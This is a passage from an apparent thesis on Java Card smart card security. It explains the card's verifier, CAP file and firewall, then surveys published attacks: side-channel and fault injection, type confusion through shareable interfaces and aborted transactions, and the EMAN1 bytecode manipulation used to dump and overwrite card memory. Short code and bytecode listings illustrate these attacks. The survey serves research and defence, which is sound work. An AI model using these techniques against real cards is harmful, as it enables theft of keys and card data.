constraints. The class loader and the security managers are replaced by the Java Card firewall.

3.2.2.1 The Byte Code Verifier

Allowing code to be loaded into the card after post-issuance raises the same security issues as

for web applets. An applet which is not built by a compiler (hand-made byte code) or modified

after the compilation step may break the Java sandbox model. Thus, the client must check that

the Java-language typing rules are preserved at the byte code level. Java is a strongly typed

language where each variable and expression has a type determined at compile-time, so that if a

type mismatch arises from the source code, an exception is thrown. The Java byte code is also a

strongly typed one. The BCV guarantees type correctness of code, which in turn guarantees the

Java properties regarding memory access. For example, pointers are not supported by the Java

programming language although they are extensively used by the JVM where object references from

the source code are handling as a pointer. Thus the absence of pointers at the development level

reduces the number of programming errors. But it does not mitigate to break security protections

with unfair uses of pointers. Moreover, using a symbolic execution, the BCV is able to detect type

confusion in the application.

The BCV is an essential security component in the Java sandbox model: any bug created by
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an ill-typed applet could induce a security flaw. The byte code verification is a complex process

involving an elaborate program analysis using a very costly algorithm in terms of time consumption

and memory usage. For these reasons, many cards do not implement this kind of component and

it is relied on the responsibility of the organisation, which provides signature to ensure the code of

the applet is well-typed.

3.2.2.2 The CAP file

As shown in Figure 3.4, the Class files are converted to the CAP file. This file format, specified

in [Ora11d, §6 – The CAP File Format], is a binary representation that contains the twelve

following components:

• The Header component contains general information about the CAP file and the package it

defines;

• The Directory component lists the size of each component defined in the CAP file;

• The Applet component contains an entry for each applet defined in the package. If no applet

is defined, this component is not in the CAP file;

• The Import component lists the set of packages imported by the classes defined by the CAP

file;

• The Constant Pool component contains the references of each class, method and field used in

the Method component of this CAP file. The referencing elements in the Method component

may be an instruction in the method or exception handler catch types in the exception

handler table;

• The Class component describes each class and interface defined in the package;

• The Method component describes each method declared in the package, excluding <clinit>

methods and interface declarations. Abstract methods defined by each class are also included.

Moreover, the exception handlers associated with each method are also described;

• The Static Field component contains all of the information required to create and initialise

an image of all of the static fields defined in the package, referred to as the static field image;

• The Reference Location component represents the lists of offsets into the method_info

field of Method component to items that contain indexes into the Constant Pool component;

• The Export component referees all static elements in the package that may be imported by

classes in other packages. Instance fields and virtual methods are not represented in this

component;

A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks



Chapter 3: The Java Card Technology

• The Descriptor component provides sufficient information to parse and verify all elements

of the CAP file;

• The Debug component contains all the metadata needed for debugging a package on a suitably

instrumented JCVM. This component is optional;

• The Custom component is a new component added to the CAP file. This new component

must conform to the general component format. It is silently ignored by a JCVM that does

not recognise the component.

Each component depends to each other. The representation of the dependencies is shown in

Figure 3.5.

Figure 3.5: Dependencies between each CAP file component [Ham12].

3.2.2.3 The Java Card Firewall

The firewall aims at controlling access in the Java Card. The separation of different applets is

enforced by a firewall, based on the package structure of Java Card and the notion of context.

When an applet is created, the JCRE uses a unique Application IDentifier (AID) to link it with the

package where it has been defined. If two applets are instances of classes defined in the same Java

Card package, they share the same context. There is also a super user context called the JCRE

context. Applets associated with this context may access the objects from any other contexts in

the card. In defencive card, the privileges are reduced.

Each object is assigned to a unique owner context, which is the context of the created applet.

An object’s method is executed in the context of the instance. This context provides information

which will or will not allow access to another object. The firewall prevents a method executing in

one context from accessing any attribute or method of objects to another context.
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Through the firewall, there are two ways to access to resources out of the owner’s context. One

is through JCRE entry points and the other one is through shareable objects. JCRE entry points

are the objects owned by JCRE, specifically entitled as objects that can be accessed from any

context. A significant example is an APDU buffer which contains the sent and received commands

to the card. This object is managed by JCRE and in order to allow applets to access to this object,

it is designated as an entry point. Another example is the elements of the table containing the

AIDs of the installed applets. Entry points can be marked as temporary. References to temporary

entry points cannot be stored in objects and this rule is enforced by the firewall.

3.2.3 Java Card Architecture

The Java Card architecture is illustrated in Figure 3.6. The Java Card architecture looks like the

Java one except few differences. Each applet is executed upon a specified API [Ora11a] implemented

by the device. Unlike Java, the developer is not allowed to extend the API with any native function.

Next, to manage the applets on open platforms (load, installation and deletion) and applet

lifecycle, the GlobalPlatform (GP) specifies [Glo11] implementation and management of tamper-

resistant chips. GP is the on-card entity is in charged to dispatch commands, manage card content,

secure management operations and secure inter-application communication. Moreover, an API is

provided to interact with an applet when a GP’s event arises.

Finally, the last element which differs from the Java platform is the JCVM instruction set as

presented in Section 3.2.3.1.

Applet 1 Applet 2

Framework APIs

Native API
Java Card Vir-
tual Machine

Card Operating System

Hardware layers

GP APIs
&

Applet Manager
Java Card Runtime

Environment

Figure 3.6: This figure represents a global view of the Java Card architecture. In this graphic, the green
coloured parts are executed via the Java byte code. Next, in orange colour, one sees the OS
layout. Finally, in red colour, the hardware layout, only accessible through the OS, is shown.

A Generic Approach for Protecting Java Card™ Smart Card Against Software Attacks



Chapter 3: The Java Card Technology

3.2.3.1 The Java Card Virtual Machine Instructions Set

A JCVM compliant with the specification implements a subset of the JVM instructions set. I

summarised the Java Card instructions set [Ora11d, §7 – Java Card Virtual Machine Instruction

Set] and split it as follow:

• Stack and local variables operands:

– Push a constant onto the operand stack instructions: aconst_null, sconst_<s>,

iconst_<i>, bpush, sspush, bipush, sipush iipush with <s> and <i> ∈ {m1, 0,

1, 2, 3, 4, 5}.

– Load a local variable onto the stack instructions: aload, aload_<n>, sload, sload_<n>,

iload, iload_<n>, aaload, baload, saload, iaload with <n> ∈ {0, 1, 2, 3}.

– Store element from the operand stack into the local variable stack instructions: astore,

sstore, istore, astore_<n>, sstore_<n>, istore_<n>, aastore, bastore, sastore,

iastore with <n> ∈ {0, 1, 2, 3}.

– Untyped instructions which modified the operand stack: pop, pop2, dup, dup2, dup_x,

swap_x

• Type conversion instructions: s2b, s2i, i2b, i2b

• Numeric arithmetic instructions: sadd, iadd, ssub, isub, smul, imul, sdiv, idiv, srem,

irem, sneg, ineg, sinc, sinc_w, iinc, iinc_w

• Logic operations:

– Arithmetic shift instructions: sshl, ishl, sshr, ishr, sushr, iushr

– Bitwise Boolean instructions: sand, iand, sor, ior, sxor, ixor

• Object accessors:

– Object operations: getstatic_<t>, putstatic_<t>, getfield_<t>, getfield_<t>_w,

getfield_<t>_this, putfield_<t>, putfield_<t>_w, putfield_<t>_this, new,

checkcast, instanceof with <t> ∈ {a, b, s, i}.

– Specific array operations: newarray, anewarray, arraylength

• Operations that influence the control flow:

– Branching instructions:

∗ Conditional branching operations: if<cond>, if<cond>_w, ifnull, ifnonnull,

if_acmp<cond>, if_acmp<cond>_w with <cond> ∈ {eq, ne, lt, le, gt, ge}.
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∗ Branching always instructions: goto, goto_w

– Comparison operation: icmp

– Table jumping: stableswitch, itableswitch, slookupswitch, ilookupswitch

– Exceptions operation: athrow

– Finally clauses: jsr, ret

– Method instructions:

∗ Method call instructions: invokevirtual, invokespecial, invokestatic,

invokeinterface

∗ Method return operations: areturn, sreturn, ireturn, return

• nop instruction.

Each instruction is executed by the JCRE through the JCVM. The security model ensures that,

through the firewall, each instruction is checked in order to verify if the current context allowed

the execution of the current instruction.

3.3 Conclusion

This chapter presents the Java Card technology. Based on the Java platform, this technology aims

to provide a secure and friendly development environment into a limited-resources device as the

smart card. This technology succeed to be embedded in most of smart card in the world.

Nevertheless, some attacks have been successful in retrieving secret data from the card. To

improve its security, the state-of-the-art attacks against the Java Card platform will be introduced

in Chapter 4. Regarding to these flaws, the card manufacturers have implemented countermeasures

explained in Chapter 5.
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Chapter 4

Attacks on Java Card Smart Card

“Garin: So that is what hell is. I would never have believed it. You

remember: the fire and brimstone, the torture. The burning marl. There is

no need for torture: Hell is other people.”

— Jean-Paul Sartre, No Exit
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Credit cards, ID cards, passports, (U)SIM cards, etc. have a common point: each of them

perform sensitive operations on critical information which must be supplied by the chip only to

people and/or authorised software. These cards must be thus secured as well by the physical point

of view as by the software part.

The confidentiality of the EEPROM area covers applet confidentiality, i. e. disclosure of already

stored code and data confidentiality. The sensitive data are often stored in a secure container,

even if, sometime, keys are stored in clear text in memory [IC+10]. There are several ways to

snapshot the EEPROM according to the attacker hypotheses. A smart card can be a closed, an

open or a development platform. First, on a closed platform, the post-issuance download is not
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permitted, like a credit card. In such a case, an attack should exploit the side channel analysis or

fault injection as explained in Section 4.1 to obtain information of the targeted cards. Second, the

card is an opened platform (some (U)SIM cards), so it allows post-issuance code download. This

scenario is protected by the GlobalPlatform [Glo11] protocol that requires a mutual authentication

before loading any code. Therefore, the operator which is the only one allowed to load code into

the card, checks systematically new application using the off-card BCV but also rules checkers

and code reviews. Using the on-card BCV denies the right to load ill-formed applications. But

Barbu et al. [Bar+10] demonstrated that this step is not sufficient. A well-formed code is loaded

but ill-formed code is executed. This scenario is presented in Section 4.2. The last scenario,

Section 4.3 concerns development cards. With such cards, the developer has the right to load code

(the authentication keys are known). The card’s security rules are defined by the developers and

they are able to load ill-formed applications. Nonetheless, the internal structures of the operating

system and the JCVM are kept secret by the vendor to protect its intellectual property. Installing

ill-formed application requires less knowledge and means from the attacker but he can only retrieve

information related to a development card. This is the first step of the attack reverse engineering.

4.1 Product Card with no Post-Issuance Allowed

4.1.1 Power Analysis Attacks

Information leakage from the processor which could be power consumption or electromagnetic

emanations is a topic widely studied topic [Cla07a,Fei13,Gag14,Nac+00,Pro14]. Power analy-

sis involves interpreting power traces, or graphs of electrical activity over time. Introduced by

Kocher [Koc96], he used this approach to disclose the RSA keys during the “Square and Multiply”

step of modular exponentiation. A naive and vulnerable implementation of the algorithm such

as the binary exponentiation algorithm could be used. Shown in Figure 4.1, each exponent bit

is processed with a modular square operation followed by a conditional modular multiplication.

Thus, the power consumption trace shows explicitly the difference between each round of the loop

the value of each bit of the exponent. The power consumption gives a global representation of the

card activity and electromagnetic probe gives a local information (memory, register, etc.). But

this technique [Gan+01,Mey+11,Qui+01] has also been used to reverse the code of an application

thanks a collection of traces from different executions.

Figure 4.1: Vulnerable “Square and Multiply” step of modular exponentiation.
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4.1.2 Reverse Engineering Through Power Analysis Attacks

Power analysis involves interpreting power traces, or graphs of electrical activity over time. Re-

versing the executed algorithm one might find the specific part of the cryptographic operation to

corrupt of a cryptographic operation to disclose the secret keys. To reverse an implementation,

the side channel analysis approach can be used.

The Side Channel Analysis For Reverse Engineering (SCARE) approach [Cla+13a,Dau+05]

aims at understanding and highlight some specific implementation depending on the monitored

system. It insists on the fact that observing the power consumption by clock cycle can provide

information about the targeted system. Recently, syntactic pattern recognition [Fou+06] approach

was used as a combination of an efficient classification tool and a convex form comparison. Based

on this methodology, Vermoen et al. [Ver+07] are able to evaluate the probability for an executed

instruction. After a learning step, the authors succeed to reverse an application through the leaked

information. Nowadays, modern cryptographic implementations are developed in constant-time

execution on devices where noise is emitted on the channel.

4.1.3 Fault Attacks

To bypass those countermeasure, a fault can be injected into the chip by inducing perturbations in

its execution environment [BE+04]. Faults can also be injected by some physical attacks (optical or

electromagnetic injection) which expose the device to some sort of physical stress. As a result, the

device has an erratic behaviour, i. e., changing values in memory cells, transmitting different signals

through bus lines, or damaging the structural elements. Thus, these errors can generate different

behaviours by changing some instructions, interpreting operands as instructions, branching to other

(or invalid) labels and so on. These perturbations can have various effects on the chip registers

(program counter, stack pointer), or on the memories (variables and code changes). Mainly, it

can permit an attacker to execute an operation beyond his rights, or to access secret data in the

smart card. Fault attack is an old research field mainly in avionics or space domains [Zie+96].

Researchers brought to the fore that cosmic rays can flip single bits in the memory of an electronic

device. Such faults are still an issue until now for those devices. Three types of fault attacks are

focused by researchers in the smart card field like power or electromagnetic spikes [Köm+99], clock

glitches [And+97] and optical attacks [Sko+02].

A smart card is a portable device without embedded power supply or clock and thus it requires

a smart card reader (which provides external power and clock sources) for operating it. The reader

can also be replaced by an attacker with specific equipment in the laboratory. Short variations of

the power supply can induce errors into the smart card internal operations. Spikes not only allow

injecting memory faults but also perturbations during the execution of a program. Confusing the

program counter can make conditional checks to work improperly, loop counters to be decreased

and arbitrary instructions to be executed.

The card reader provides to the card a clock signal, which may incorporate short deviations
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beyond the required tolerance from the standard signal bounds. Such signals are called glitches.

They can be defined by a range of different parameters and can be used to inject memory faults

as well to generate faulty execution behaviours. Hence, the possible effects are the same as in

spike attacks. If the chip is unpacked, in a way that the silicon layer is visible, it is possible to

use a laser to induce perturbation in the memory cells. Those memory cells, i. e., EEPROM and

transistors, have been found to be sensitive to light [Sko+02]. This occurs thanks to photoelectric

effect. Modern green or red lasers can be focused on relatively small regions of a chip [Ros+13],

such faults can be targeted fairly well. Another method is to make changes in the external electrical

field of the smart card and it has been considered as a possible method for inducing faults.

4.1.3.1 Fault Model

Injecting physically energy into a memory cell can switch its state. To prevent a fault attack,

it is necessary to know its effect on smart cards. Fault models have already been discussed in

details [Blö+06,Wag04]. The existing fault models, given in descending order in terms of attacker’s

power are shown in Table 4.1. An attack using the precise bit error model had been discussed in

Skorobogatov et al. [Sko+02]. But it is not realistic on current smart cards as modern components

implement hardware security on memory like error correction and detection code or memory

encryption. Barbu et al. [Bar+10], use a precise byte error model. Using a white-box approach,

they succeeded in getting a very precise location to target. In the case of the unknown byte errors

model, attacker’s power is effectively reduced by the targeted memory encryption and a randomised

clock (on some cards). In this case, the attacker knows the success of his attack but he cannot

locate the faulty register in the CPU. Finally, high-secured smart cards embed countermeasures

(encrypted memory, scrambled address and a randomised clock). These countermeasures imply

that any error induced into the RAM, EEPROM or CPU at an undetermined moment gives at

most the information that a certain variable is faulty, as explained in [Blö+03].

Fault model Precision Location Timing Fault Type Difficulty

Precise bit error bit precise control precise control Bit set, reset
or change by
random

++

Precise byte error byte loose control precise control +

Unknown byte error byte loose control loose control −

Random error variable no control loose control random −−

Table 4.1: Existing fault model.

The accepting fault model is the following. According to the underlying technology, the memory

will physically takes the value 0x00 or 0xFF. If memories are encrypted, the physical value becomes

a random value (more precisely a value which depends on the data, the address, and an encryption

key). To be as close as possible to the reality, the precise byte error is chosen because it is the

most realistic fault model. Thus, assume that an attacker can:
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• Make a fault injection at a precise clock cycle (he can target any operation he wants), only

set or reset a byte to 0x00 or to 0xFF according to the underlying technology (bit set or reset

fault type), or he can change a byte to a random value beyond his control (random fault

type);

• Target any memory cell (a specific variable or register).

Currently the accepted fault model is based on laser which hits one time the smart card chip

during a command execution.

A new research topic field is the Fault Injection for Reverse Engineering (FIRE) attacks which

used faults injection in embedded systems by various methods to gather information on the secure

algorithm implemented in the device. There are some studies of partial data recovering by means

of faults [Cla07b,Cla+08] but, as far as I know, there is only one reverse engineering of a full

algorithm [Cla+13b].

4.2 Product Card with Post-Issuance Allowed

On a card with post-issuance allowed, only a well-formed application can be loaded into the card.

This scenario is suitable for cards that are modifiable after delivery to the customer. Attacks are

based either on a misunderstanding of the specification by the developers or the use of a physical

attacks.

4.2.1 Specification Misunderstanding

Mostowski et al. [Mos+08] presented attacks on smart cards. They did a quick overview of the

classical attacks available on smart cards and gave some countermeasures. They explained the

different kinds of attacks and the associated countermeasures. Four methods were described:

(1) CAP file manipulation, (2) fault injection, (3) shareable interfaces mechanism abuse and

(4) transaction mechanisms abuse.

The goal of (1) is to modify the CAP file after the compilation step to bypass the BCV. The

problem is, like explained before, a BCV is an efficient system to block this attack. To bypass this

component, the authors proposed the fault injection (2). Even if there is no particular physical

protection, this attack is efficient but a bit difficult and expensive.

The idea of (3) abusing shareable interfaces is really interesting and can lead a trick the virtual

machine. The main goal is to have type confusion without the need to modify CAP files. To do so,

they had to create two applets which will communicate using the shareable interfaces mechanism.

To create a type confusion, each of the applet use a different type of array to exchange data. During

compilation or on load, there is no way for the BCV to detect such problem.

The problem seems to be that every evaluated card which embeds a BCV disallows applets

using shareable interface. As it is impossible for a BCV to detect this kind of anomaly, Mostowski
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et al. emitted the hypothesis that any use of shareable interface on card can be forbidden with an

on-board BCV.

The last option left is the transaction mechanism (4). The purpose of transaction is to make

a group of operations become atomic. Of course, as we can see for databases, it is a widely used

concept, like in databases, but still hard to implement. By definition, the rollback mechanism

should also deallocate any objects allocated during an aborted transaction, and reset references

to such objects to null. However, the authors found some strange cases where the card kept the

references of allocated objects during transaction even after a rollback.

If they can get the same behaviour, it should be easy to get and exploit type confusion. Now let

us quickly explain how to use type confusion to gain illegal access to otherwise protected memory.

A first example is to get two arrays of different types, for example a byte and a short arrays. If

one declares a byte array of 10 bytes, and one has another reference as a short array, one would

be able to read 10 shorts, thus 20 bytes. With this method they can read the 10 bytes saved after

the array. They could read as much memory as they wanted by increasing the size of the array.

The main problem is more how to read memory before the array.

They succeeded in performing another type confusion: between an array of bytes and an object.

If they put a byte as first object attribute, it is bound to the array length. It is then really easy to

change the length of the array using the reference to the object.

4.2.1.1 Shareable Mechanism

This attack aims at abusing the shareable mechanism thanks to the non-typed verification. That

is due to a bad control over the export files. In fact, the authors tried to pass a byte array as a

short array. As the original array can be read, the trick enables one to read after the last array

element due to the length confusion. In order to succeed this attack, Mostowski et al. developed

two interfaces: one for the client (Listing 4.1) and one for the server (Listing 4.2).

Listing 4.1: Client Interface.

public interface

MyInterface extends Shareable {

public byte [] giveArray ();

public void accessArray

(byte [] MyArray );

}

Listing 4.2: Server Interface.

public interface

MyInterface extends Shareable {

public byte [] giveArray ();

public void accessArray

( short [] MyArray );

}

These two interfaces shall have the same package and applet identifiers. Then, the server’s

interface is loaded into a card. Since an applet implements the client interface, the byte array given

in parameter of the giveArray function will be interpreted as a short array. The methods provided

by the MyInterface interface are used to read the values contained in the array and to share it

between the client and the server. From the client side, the giveArray method is used to retrieve
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the server’s array, as byte array typed. The authors passed it as a parameter of accessArray

method. As a result, Mostowski et al. succeeded to confuse a byte array as a short array.

4.2.1.2 Transaction

A transaction gives an assurance of security. Since an event abort a transaction, a rollback is done

and all allocated objects are deleted. In the reality, the deletion is sometimes incorrectly done. An

incorrect or partial deletion can lead to an unauthorised access to some resources [Hog+09]. An

example of an aborted transaction is shown in Listing 4.3.

Listing 4.3: A typical transaction in Java Card.

1 short [] arrayS = null ,

2 localArray = null;

3 ...

4 JCSystem . beginTransaction ();

5 arrayS = new short [5];

6 arrayS [0] = (short) 0x00AA;

7 arrayS [1] = (short) 0x00BB;

8 localArray = arrayS ;

9 JCSystem . abortTransaction ();

In Listing 4.3, line 8, the arrays arrayS and localArray are equals: their reference are the

same. After the abortTransaction call, line 9, the Java Card specification imposes that each

allocated object must be deleted.

An array component may be modified by Util.arrayFillNonAtomic or

Util.arrayCopyNonAtomic methods. Since a transaction is in progress, the modifications

are not predictable. The JCRE shall ensure that a reference to an object that has been created

during an aborted transaction is equivalent to a null reference. Only the persistent objects

involved in the transaction are updated. Updates to transient objects and global arrays are never

undone, regardless of whether or not they were involved during a transaction [Ora11c, §7.7 –

Transient Objects and Global Arrays].

4.2.2 Physical Attacks against the Software Layer

4.2.2.1 Using Side Channel Attacks

Nohl demonstrated a SIM card attack in his talk in [Noh13]. He focused on the management

interfaces that the MNOs use to deploy, update or reconfigure an application program on the SIM

cards. He explained that SIM cards management protocols are designed to give service providers

access to the card after they have been sold to customers by allowing the cards to communicate

with MNOs servers. The communication between the SIM cards and the MNO are basically text

messages. These messages are not displayed on the phone but directly forwarded to the SIM card.
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Nearly all phones have the capacity to send and receive these sorts of text messages without the

user’s notification.

In order to secure these communications, messages are either encrypted or protected by a

signature. By listening to the data exchanged between the card and the server, Nohl discovered

that the encryption is based on the Data Encryption Standard (DES) algorithm. From the

specification, the MNO’s server and the SIM card use the same key. The author noticed that the

few of SIM cards still use at least one DES key. Most manufacturers are upgrading to 3-DES and

fewer still are deploying Advance Encryption Standard (AES), but these more secure keys are only

on the most recently manufactured SIM cards, not the one already in phones.

By demonstrating his attack, Nohl presented that he could intercept the communications

between the network providers and SIM card and use an attack to crack the DES key. However,

this method is slow. To improve his approach, he succeed to deliver an incorrectly signed, MNO

update command to the SIM card. The error elicited a response from the card that contained the

device’s cryptographic signature. Since Nohl obtained the DES key used to manage the SIM card,

he can commit SMS fraud, circumvent caller-ID checks, manipulate voice-mails, redirect incoming

calls and text messages, track and phish users, install malware on the device. With data access

enabled, the author pointed out that an attacker can clone SIM cards, decipher 2G, 3G, and 4G

traffic, clone NFC takers and future SIM applications and corrupt the operating system to prevent

future patching.

4.2.2.2 Using Perturbation

In this section, we are focusing on an attack that does not rely on ill-typed application. In this

case, the specification is correct but the environmental hypothesis are false. The application of

these attacks is more powerful than the previous one. Indeed, any deployed smart card can suffer

of these attacks, and they do not need specific requirement.

4.2.2.2.1 When a Fault Enables a Software Attack Barbu et al. [Bar+10] described a

new sort of attack based on the use of a laser beam which modifies a correct applet execution flow

at the runtime. This applet is checked by the on-card BCV and installed. Therefore, the goal is to

forge a reference to an object through a type confusion. For this attack, the authors defined three

classes A, B and C as described Listing 4.4.

Listing 4.4: Classes used to create a type confusion.

public class A { public class B { public class C {

byte b00 , ..., bFF short addr A a;

} } }

The cast mechanism is explained in the JCRE specification [Ora11c, §6.2.8 – Class and Object

Access Behavior]. Since an object of a type should be casted to another type, the JCRE dynamically
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verifies if both types are compatible upon the checkcast instruction. Barbu et al. developed an

applet named AttackExtApp, Listing 4.5, where an illegal cast is present line 11.

Listing 4.5: Casting type confusion.

1 public class AttackExtApp extends Applet {

2 B b; C c; boolean classFound ;

3 // Constructor , i n s t a l l method

4 public void process (APDU apdu) {

5 byte [] buffer = apdu. getBuffer ();

6 switch ( buffer [ ISO7816 . OFFSET_INS ]) {

7 case INS_ILLEGAL_CAST :

8 try {

9 c = (C) ( ( Object ) b ); A a = c.a;

10 b.addr = ADDRESS_TO_READ ; // The r e f e r e n c e o f c . a e q u a l s b . addr

11 read_area_memory [0 x00] = a.b00; ... read_area_memory [0 xFF] = a.bFF;

12 return ; // Success , r e tu rn the sw 0 x9000

13 } catch ( ClassCastException e) { /∗ Fai lure , r e tu rn the sw 0x6F00 ∗/ }

14 ... } } } // more l a t e r d e f i n e d i n s t r u c t i o n s

The instruction line 11 throws a ClassCastException exception. With specific material

(oscilloscope, etc.), the exception thrown is visible in the consumption curves. Thus, with a time-

precision attack, Barbu et al. prevent, with the injection of a laser fault, the checkcast instruction

to thrown an exception. Since the cast is done, the references of c and b are equal. Thus, the

c.a reference value may be dynamically changed via the field b.addr (line 12). Finally, this trick

offers a read/write access on smart card memories within the fake A reference. Thanks to this kind

of attack, Barbu et al. can apply their combined attack to enable any software attacks to execute

any ill-formed code. This attack can enable the EMAN1, described in Section 4.3.

4.2.2.2.2 Confusing the Java Card Operand Stack The JCVM embeds an operand stack

where each instruction’s parameter and function’s return value are pushed. For example, the

instruction sadd computes the addition of the two short value from the top of stack. So, it pops

two short values from the stack and pushes the computed value typed as a short.

Instead of the attack against the checkcast instruction, Barbu et al. [Bar+11a] focused on

the manipulated data from the operand stack. With a fault injection, those data are corrupted

while they are pushed on top of the stack. The authors proposed three attacks on the operand

stack. In the first one, a Boolean value is pushed on top of the stack. It is involved in a conditional

branching. The aim of the attack is then to corrupt it in order to jump to another statement.

The second one is a high probability attack to realise a type confusion. To succeed, a malicious

application should create a huge amount of references from a given class to increase the chance

that a reference will be refer by the type confusion. Finally, by the same way, the last one shows,

how to make a type confusion between two instances of a class which implements the same Java

interface.
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4.2.2.2.3 Corrupting Java Card Exceptions with Fault Injection Barbu et al. presented

in [Bar+12c] attacks on the Java Card exceptions mechanism. Always based on a fault injection,

the authors are able to fool the exception handler, throwing a non-throwable object and prevent

the initialisation of a Java Card object.

In [Bar+12c], Barbu et al. faulted the mechanism which searches the correct statement of the

try-catch block. The authors succeeded to execute an unexpected statement.

In the second one, the Java Card specification [Ora11d] defines the athrow instruction which

throws an exception or an error based on an object reference pushed on the stack. The thrown

object must be an instance of the Throwable class. Based on a stack modification attack presented

in [Bar+11a], the authors are able to perturb the object reference pushed on the stack to throw

another object. This object may be a non-throwable one.

Finally, Barbu et al. focused on the class constructor. The first statement in the constructor

must be the call to the super function. This function calls the construction of the mother class(es).

In case an exception is thrown from the super function, a try-catch statement catches the corre-

sponding exception. In the catch statement, a call to the super function is non mandatory. Since

the super function throws the exception, the associated catch statement is executed. Therefore, as

the mother class is not called, the authors succeeded to create an instance that was not correctly

initialised.

4.2.2.2.4 Agnostic Modification Lancia [Lan12b] exploited the Java Card instance allocator

of JCRE based on high precision fault injection. Each instance created by the JCRE is allocated

in a persistent memory. The Java Card specification [Ora11d] provides some functions to create

transient objects. The data of the transient object are stored in the RAM memory, but the header

of this object is always stored in the persistent memory. On the modern Java Card using Memory

Management Unit (MMU), references are represented by an indirect memory address. This address

is an index to a memory address pool which in turn refers to a global instance pool managed by

the VM.

Like a persistent type confusion, Lancia had presented an attack of the global instance pool

mechanism in which a laser beam shifts the index referred in the byte code. During the applet’s

execution, the JCRE resolves an index with the associated address in the global instance pool

table and have access to another instance of the expected object. This persistent modification may

offer information of the card as a part of the smart card memory.

4.3 Development Card

Software attacks are based on the fact that the runtime relies on the BCV to avoid costly checks.

Then, once someone finds an absence of a test during runtime, there is likely possible that it leads

to an attack path to read the target memory.
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4.3.1 Fabricating Arrays

In his approach, Witteman [Wit03] had fabricated arrays by using type confusion attack. He

exploits the type confusion between an array and an object of the following class Fake:

public class Fake { short size = (short)0x7FFF; }

The attack relies on a specific representation of arrays and objects in memory. To succeed this

attack, the length field of an array should be stored at the same offset in physical memory as the

size field of a Fake object. If one is able to confuse the VM as a Fake object and an array as the

same reference, then the length of that array would be set to 0x7FFF, giving access to 32 kB of

memory. Updating the size field aims at setting the array length to an arbitrary value.

4.3.2 EMAN1: When Static Instruction Go Wild

In [IC+10], Iguchi-Cartigny et al. exploited the static instructions through the Java Card firewall.

Their attack is entitled EMAN1. As described by the JCRE specification, the Java Card firewall

does not check the context when a static element is referenced.

“There is no runtime context check that can be performed when a class static field

is accessed. Neither is there a context switch when a static method is invoked. Public

static fields and public static methods are accessible from any context: Static methods

execute in the same context as their caller.”(source: JCRE Specification [Ora11c, §6.1.6

– Static Fields and Methods]).

Based on these properties, the authors described various methods to retrieve the address of

a table, read and write on a card through the static instructions. Iguchi-Cartigny et al. [IC+10]

present a way to retrieve the reference of an object and how to run a self-modifying code. Their

attack is based on the CAP file modification. Moreover, to make their attack, they are able to

load applications on the targeted card. This targeted card does not embed a BCV component.

Listing 4.6: Function to retrieve the address of an array.

public short getArrayAddress (byte [] byteArray ) {

short foo = (short) 0x55AA;

byteArray [0] = (byte) 0xFF;

return foo; }

To disclose the internal reference of a Java Card array, Iguchi-Cartigny et al. developed a

function shown in Listing 4.6. The function’s byte codes are presented in Listing 4.7. To realize a

type confusion, this function is modified to return the reference of the Java Card array given in

its parameter. The corresponding byte code is listed in Listing 4.8.

In Listing 4.7, offset 0x06, the instruction aload_1 pushes the reference of an object stored in

the local variable 1 at the top of the Java Card stack. In this function, the local variable 1 contains

Page 43



the internal reference of the given parameter byteArray. The authors nopped the instructions

from the offset 0x07 to 0x0A in Listing 4.7 in order that the function returns the internal reference

of the byteArray parameter.

Listing 4.7: The byte code of the function in List-

ing 4.6.

public short getArrayAddress

(byte [] byteArray ) {

/∗0 x00 ∗/ 03 // f l a g s : 0 max_stack : 3

/∗0 x01 ∗/ 21 // nargs : 2 max_locals : 1

/∗0 x02 ∗/ sspush 0x55AA

/∗0 x05 ∗/ sstore_2

/∗0 x06 ∗/ aload_1

/∗0 x07 ∗/ sconst_0

/∗0 x08 ∗/ sconst_m1

/∗0 x09 ∗/ sastore

/∗0x0A∗/ sload_2

/∗0x0B∗/ sreturn }

Listing 4.8: The modified version of the function

from the Listing 4.6.

public short getArrayAddress

(byte [] byteArray ) {

03 // f l a g s : 0 max_stack : 3

21 // nargs : 2 max_locals : 1

sspush 0x55AA

sstore_2

aload_1

nop

nop

nop

nop

sreturn }

To discover the reference of the current instance, Iguchi-Cartigny et al. proposed to use the

same function presented in Listing 4.7, but instead of pushed local variable 1, they pushed local

variable 0 upon the aload_0 instruction. By convention, the reference of the current instance

(this) is always stored in the first local variable (local variable number 0).

As they got an array reference, the authors were able to store a malicious byte code in it.

Furthermore as the instance reference was also disclosed, they finally succeeded in reading the

content of the Java Card memory. They aim was to modified this instruction stored in a method

of the authors’ applet, to run a self-modified byte code.

To parse the Java Card memory, Iguchi-Cartigny et al. developed the function shown in

Listing 4.9. The built version is presented in Listing 4.10. Therefore, the authors focused on

the opcode getstatic_b instruction. The JCVM specification [Ora11d, §7.5.23 – Java Card

Instructions Set] defines it as an accessor to a static byte field where its reference is given as

parameter.

Listing 4.9: Dummy function to dump the mem-

ory.

private static short ad;

// $\ do t s$

public static byte getMyAddress () {

return ad;

}

Listing 4.10: Byte code version of dummy func-

tion to dump the memory.

public static byte getMyAddress (){

01 // f l a g s : 0 max_stack : 1

00 // nargs : 0 max_locals : 0

getstatic_b 0x0002

sreturn }

In Listing 4.10, the getstatic_b instruction takes as parameter the token value 0x0002. This

token is referred into the Constant Pool component which indicates the type of the tokenized
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element.

During the installation step of an applet, each token refereed from the Reference Location

component should be resolved based on the Constant Pool component. To obtain unlinked ele-

ment, Iguchi-Cartigny et al. removed some information into the Reference Location component.

This modification aims at avoiding the on-card linking process. Thus, they replaced getstatic_b

token by a value associated to the memory address. With this trick, the authors are able to read

the RAM and EEPROM areas. However, they noticed that the ROM part is not accessible from

the JCVM. Since they succeeded to obtain a snapshot of the Java Card memory, the authors

reversed the structure of an applet installed into the targeted card. This structure is shown in

Figure 4.2.

Instance data

@ 0x8820 @ m1

@ m2

@ m3

@ m4

header

@ class

Owner Context

@ Meth. Table

header

Sec. Context

Static Variables

header

Bytecodes

@ 0x85D2

@ 0x85ED

An instance's reference

Class' reference

A method's reference

Inside Smart Card

Figure 4.2: Representation of an applet stored in a Java Card memory regarding to Iguchi-Cartigny et
al. [IC+10] characterisation.

Since the authors are able to find the invokestatic instruction to redirect the control flow, the

instruction parameter should be updated. To write in the memory, Iguchi-Cartigny et al. followed

the same process as the getstatic trick using the putstatic_b1 instruction. So, they set the

invokestatic parameter by the reference of their malicious shellcode.

Based on the exploitation of the static instruction, Iguchi-Cartigny et al. succeed to read

and write anywhere in the Java Card memory. The obtained snapshot represents the smart card

